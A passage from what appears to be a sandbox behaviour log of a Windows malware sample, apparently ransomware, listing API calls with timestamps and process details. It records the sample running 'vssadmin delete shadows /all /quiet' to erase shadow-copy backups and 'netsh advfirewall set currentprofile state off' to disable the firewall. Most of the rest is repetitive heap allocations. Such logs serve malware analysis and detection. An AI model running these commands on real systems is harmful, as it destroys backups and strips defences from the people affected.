(_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.395] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.395] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.395] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.395] GetProcessHeap () returned 0x450000 [0066.395] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464640 | out: hHeap=0x450000) returned 1 [0066.395] GetProcessHeap () returned 0x450000 [0066.395] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x12) returned 0x468900 [0066.395] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ef030*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2eefe0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x2eefe0*(hProcess=0x54, hThread=0x50, dwProcessId=0x8b8, dwThreadId=0x8c8)) returned 1 [0066.416] CloseHandle (hObject=0x50) returned 1 [0066.416] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.416] GetProcessHeap () returned 0x450000 [0066.416] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46c230 | out: hHeap=0x450000) returned 1 [0066.417] GetEnvironmentStringsW () returned 0x46aa10* [0066.417] GetProcessHeap () returned 0x450000 [0066.417] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xae8) returned 0x46b500 [0066.417] FreeEnvironmentStringsW (penv=0x46aa10) returned 1 [0066.417] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77140000 [0066.418] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0066.418] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ee8e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ee8e8, ReturnLength=0x0) returned 0x0 [0066.418] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x2ee920, nSize=0x380, lpNumberOfBytesRead=0x2ee8e0 | out: lpBuffer=0x2ee920*, lpNumberOfBytesRead=0x2ee8e0*=0x380) returned 1 [0066.419] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x32bdb000" os_pid = "0x8b8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x808" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x8c8 Thread: id = 28 os_tid = 0x8f8 Thread: id = 29 os_tid = 0x914 Thread: id = 30 os_tid = 0x930 Thread: id = 31 os_tid = 0x948 Process: id = "6" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x31a50000" os_pid = "0x8d8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x2a8" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x8e8 [0072.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfe30 | out: lpSystemTimeAsFileTime=0x1cfe30*(dwLowDateTime=0x6c78dfd0, dwHighDateTime=0x1d5e0d0)) [0072.281] GetCurrentProcessId () returned 0x8d8 [0072.281] GetCurrentThreadId () returned 0x8e8 [0072.281] GetTickCount () returned 0x115b4de [0072.281] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfe38 | out: lpPerformanceCount=0x1cfe38*=21353962590) returned 1 [0072.652] GetModuleHandleW (lpModuleName=0x0) returned 0x10d0000 [0072.652] __set_app_type (_Type=0x1) [0072.652] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x10dad14) returned 0x0 [0072.653] __wgetmainargs (in: _Argc=0x10e55c0, _Argv=0x10e55d0, _Env=0x10e55c8, _DoWildCard=0, _StartInfo=0x10e55dc | out: _Argc=0x10e55c0, _Argv=0x10e55d0, _Env=0x10e55c8) returned 0 [0072.655] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.656] GetModuleHandleW (lpModuleName=0x0) returned 0x10d0000 [0072.656] _vsnwprintf (in: _Buffer=0x10e7a40, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x1c7988 | out: _Buffer="netsh>") returned 6 [0072.656] GetProcessHeap () returned 0x3b0000 [0072.656] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d07d0 [0072.656] GetProcessHeap () returned 0x3b0000 [0072.656] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d07f0 [0072.657] GetProcessHeap () returned 0x3b0000 [0072.657] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0810 [0072.657] GetProcessHeap () returned 0x3b0000 [0072.657] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0830 [0072.657] GetProcessHeap () returned 0x3b0000 [0072.657] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0850 [0072.657] GetProcessHeap () returned 0x3b0000 [0072.657] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0870 [0072.657] GetProcessHeap () returned 0x3b0000 [0072.657] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d08c0 [0072.657] GetProcessHeap () returned 0x3b0000 [0072.657] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d08e0 [0072.657] GetProcessHeap () returned 0x3b0000 [0072.657] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0900 [0072.658] GetProcessHeap () returned 0x3b0000 [0072.658] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0920 [0072.658] GetProcessHeap () returned 0x3b0000 [0072.658] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0940 [0072.658] GetProcessHeap () returned 0x3b0000 [0072.658] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0960 [0072.658] GetProcessHeap () returned 0x3b0000 [0072.658] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0980 [0072.658] GetProcessHeap () returned 0x3b0000 [0072.658] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d09a0 [0072.658] GetProcessHeap () returned 0x3b0000 [0072.658] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d09c0 [0072.658] GetProcessHeap () returned 0x3b0000 [0072.658] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d09e0 [0072.658] GetProcessHeap () returned 0x3b0000 [0072.658] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0a00 [0072.659] GetProcessHeap () returned 0x3b0000 [0072.659] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0a20 [0072.659] GetProcessHeap () returned 0x3b0000 [0072.659] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0a40 [0072.659] GetProcessHeap () returned 0x3b0000 [0072.659] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0a60 [0072.659] GetProcessHeap () returned 0x3b0000 [0072.659] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0a80 [0072.659] GetProcessHeap () returned 0x3b0000 [0072.659] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0aa0 [0072.659] GetProcessHeap () returned 0x3b0000 [0072.659] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0ac0 [0072.659] GetProcessHeap () returned 0x3b0000 [0072.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0ae0 [0072.660] GetProcessHeap () returned 0x3b0000 [0072.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0b00 [0072.660] GetProcessHeap () returned 0x3b0000 [0072.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0b20 [0072.660] GetProcessHeap () returned 0x3b0000 [0072.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0b40 [0072.660] GetProcessHeap () returned 0x3b0000 [0072.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0b60 [0072.660] GetProcessHeap () returned 0x3b0000 [0072.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0b80 [0072.660] GetProcessHeap () returned 0x3b0000 [0072.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0ba0 [0072.660] GetProcessHeap () returned 0x3b0000 [0072.661] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0bc0 [0072.661] GetProcessHeap () returned 0x3b0000 [0072.661] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0be0 [0072.661] GetProcessHeap () returned 0x3b0000 [0072.661] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0c00 [0072.661] GetProcessHeap () returned 0x3b0000 [0072.661] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0c20 [0072.661] GetProcessHeap () returned 0x3b0000 [0072.661] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0c40 [0072.661] GetProcessHeap () returned 0x3b0000 [0072.661] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0c60 [0072.661] GetProcessHeap () returned 0x3b0000 [0072.661] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0c80 [0072.662] GetProcessHeap () returned 0x3b0000 [0072.662] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0ca0 [0072.662] GetProcessHeap () returned 0x3b0000 [0072.662] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0cc0 [0072.662] GetProcessHeap () returned 0x3b0000 [0072.662] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0ce0 [0072.662] GetProcessHeap () returned 0x3b0000 [0072.662] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0d00 [0072.662] GetProcessHeap () returned 0x3b0000 [0072.662] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0d20 [0072.662] GetProcessHeap () returned 0x3b0000 [0072.662] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0d40 [0072.662] GetProcessHeap () returned 0x3b0000 [0072.663] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0d60 [0072.663] GetProcessHeap () returned 0x3b0000 [0072.663] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0d80 [0072.663] GetProcessHeap () returned 0x3b0000 [0072.663] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0da0 [0072.663] GetProcessHeap () returned 0x3b0000 [0072.663] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0dc0 [0072.663] GetProcessHeap () returned 0x3b0000 [0072.663] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0de0 [0072.663] GetProcessHeap () returned 0x3b0000 [0072.663] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0e00 [0072.663] GetProcessHeap () returned 0x3b0000 [0072.663] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0e20 [0072.664] GetProcessHeap () returned 0x3b0000 [0072.664] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0e40 [0072.664] GetProcessHeap () returned 0x3b0000 [0072.664] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0e60 [0072.664] GetProcessHeap () returned 0x3b0000 [0072.664] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0e80 [0072.664] GetProcessHeap () returned 0x3b0000 [0072.664] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0ea0 [0072.664] GetProcessHeap () returned 0x3b0000 [0072.664] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0ec0 [0072.664] GetProcessHeap () returned 0x3b0000 [0072.664] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0ee0 [0072.665] GetProcessHeap () returned 0x3b0000 [0072.665] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0f00 [0072.665] GetProcessHeap () returned 0x3b0000 [0072.665] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0f20 [0072.665] GetProcessHeap () returned 0x3b0000 [0072.665] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0f40 [0072.665] GetProcessHeap () returned 0x3b0000 [0072.665] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0f60 [0072.665] GetProcessHeap () returned 0x3b0000 [0072.665] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0f80 [0072.665] GetProcessHeap () returned 0x3b0000 [0072.665] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0fa0 [0072.666] GetProcessHeap () returned 0x3b0000 [0072.666] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0fc0 [0072.666] GetProcessHeap () returned 0x3b0000 [0072.666] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d0fe0 [0072.666] GetProcessHeap () returned 0x3b0000 [0072.666] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1000 [0072.666] GetProcessHeap () returned 0x3b0000 [0072.666] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1020 [0072.666] GetProcessHeap () returned 0x3b0000 [0072.666] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1040 [0072.666] GetProcessHeap () returned 0x3b0000 [0072.667] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1060 [0072.667] GetProcessHeap () returned 0x3b0000 [0072.667] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d10c0 [0072.667] GetProcessHeap () returned 0x3b0000 [0072.667] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d10e0 [0072.667] GetProcessHeap () returned 0x3b0000 [0072.667] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1100 [0072.667] GetProcessHeap () returned 0x3b0000 [0072.667] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1120 [0072.667] GetProcessHeap () returned 0x3b0000 [0072.667] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1140 [0072.667] GetProcessHeap () returned 0x3b0000 [0072.667] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1160 [0072.667] GetProcessHeap () returned 0x3b0000 [0072.668] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1180 [0072.668] GetProcessHeap () returned 0x3b0000 [0072.668] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d11a0 [0072.668] GetProcessHeap () returned 0x3b0000 [0072.668] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d11c0 [0072.668] GetProcessHeap () returned 0x3b0000 [0072.668] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d11e0 [0072.668] GetProcessHeap () returned 0x3b0000 [0072.668] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1200 [0072.668] GetProcessHeap () returned 0x3b0000 [0072.668] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1220 [0072.668] GetProcessHeap () returned 0x3b0000 [0072.668] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1240 [0072.669] GetProcessHeap () returned 0x3b0000 [0072.669] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1260 [0072.669] GetProcessHeap () returned 0x3b0000 [0072.669] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1280 [0072.669] GetProcessHeap () returned 0x3b0000 [0072.669] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d12a0 [0072.669] GetProcessHeap () returned 0x3b0000 [0072.669] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d12c0 [0072.670] GetProcessHeap () returned 0x3b0000 [0072.670] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d12e0 [0072.670] GetProcessHeap () returned 0x3b0000 [0072.670] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1300 [0072.670] GetProcessHeap () returned 0x3b0000 [0072.670] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1320 [0072.670] GetProcessHeap () returned 0x3b0000 [0072.670] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1340 [0072.670] GetProcessHeap () returned 0x3b0000 [0072.670] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1360 [0072.670] GetProcessHeap () returned 0x3b0000 [0072.670] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1380 [0072.670] GetProcessHeap () returned 0x3b0000 [0072.670] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d13a0 [0072.670] GetProcessHeap () returned 0x3b0000 [0072.671] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d13c0 [0072.671] GetProcessHeap () returned 0x3b0000 [0072.671] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d13e0 [0072.671] GetProcessHeap () returned 0x3b0000 [0072.671] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1400 [0072.671] GetProcessHeap () returned 0x3b0000 [0072.671] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1420 [0072.671] GetProcessHeap () returned 0x3b0000 [0072.671] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1440 [0072.671] GetProcessHeap () returned 0x3b0000 [0072.671] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1460 [0072.671] GetProcessHeap () returned 0x3b0000 [0072.671] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1480 [0072.671] GetProcessHeap () returned 0x3b0000 [0072.671] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d14a0 [0072.672] GetProcessHeap () returned 0x3b0000 [0072.672] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d14c0 [0072.672] GetProcessHeap () returned 0x3b0000 [0072.672] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d14e0 [0072.672] GetProcessHeap () returned 0x3b0000 [0072.672] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1500 [0072.672] GetProcessHeap () returned 0x3b0000 [0072.672] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1520 [0072.672] GetProcessHeap () returned 0x3b0000 [0072.672] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1540 [0072.672] GetProcessHeap () returned 0x3b0000 [0072.672] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1560 [0072.672] GetProcessHeap () returned 0x3b0000 [0072.672] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1580 [0072.672] GetProcessHeap () returned 0x3b0000 [0072.673] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d15a0 [0072.673] GetProcessHeap () returned 0x3b0000 [0072.673] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d15c0 [0072.673] GetProcessHeap () returned 0x3b0000 [0072.673] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d15e0 [0072.673] GetProcessHeap () returned 0x3b0000 [0072.673] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1600 [0072.673] GetProcessHeap () returned 0x3b0000 [0072.673] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1620 [0072.673] GetProcessHeap () returned 0x3b0000 [0072.673] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1640 [0072.673] GetProcessHeap () returned 0x3b0000 [0072.673] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1660 [0072.673] GetProcessHeap () returned 0x3b0000 [0072.673] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1680 [0072.674] GetProcessHeap () returned 0x3b0000 [0072.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d16a0 [0072.674] GetProcessHeap () returned 0x3b0000 [0072.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d16c0 [0072.674] GetProcessHeap () returned 0x3b0000 [0072.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d16e0 [0072.674] GetProcessHeap () returned 0x3b0000 [0072.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1700 [0072.674] GetProcessHeap () returned 0x3b0000 [0072.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1720 [0072.674] GetProcessHeap () returned 0x3b0000 [0072.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1740 [0072.674] GetProcessHeap () returned 0x3b0000 [0072.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1760 [0072.674] GetProcessHeap () returned 0x3b0000 [0072.675] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1780 [0072.675] GetProcessHeap () returned 0x3b0000 [0072.675] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d17a0 [0072.675] GetProcessHeap () returned 0x3b0000 [0072.675] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d17c0 [0072.675] GetProcessHeap () returned 0x3b0000 [0072.675] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d17e0 [0072.675] GetProcessHeap () returned 0x3b0000 [0072.675] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1800 [0072.675] GetProcessHeap () returned 0x3b0000 [0072.675] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1820 [0072.675] GetProcessHeap () returned 0x3b0000 [0072.675] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1840 [0072.675] GetProcessHeap () returned 0x3b0000 [0072.675] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1860 [0072.676] GetProcessHeap () returned 0x3b0000 [0072.676] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d18c0 [0072.676] GetProcessHeap () returned 0x3b0000 [0072.676] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d18e0 [0072.676] GetProcessHeap () returned 0x3b0000 [0072.676] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1900 [0072.676] GetProcessHeap () returned 0x3b0000 [0072.677] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1920 [0072.677] GetProcessHeap () returned 0x3b0000 [0072.677] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1940 [0072.677] GetProcessHeap () returned 0x3b0000 [0072.677] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1960 [0072.677] GetProcessHeap () returned 0x3b0000 [0072.677] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1980 [0072.677] GetProcessHeap () returned 0x3b0000 [0072.677] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d19a0 [0072.677] GetProcessHeap () returned 0x3b0000 [0072.677] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d19c0 [0072.677] GetProcessHeap () returned 0x3b0000 [0072.677] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d19e0 [0072.677] GetProcessHeap () returned 0x3b0000 [0072.678] RtlAllocateHeap 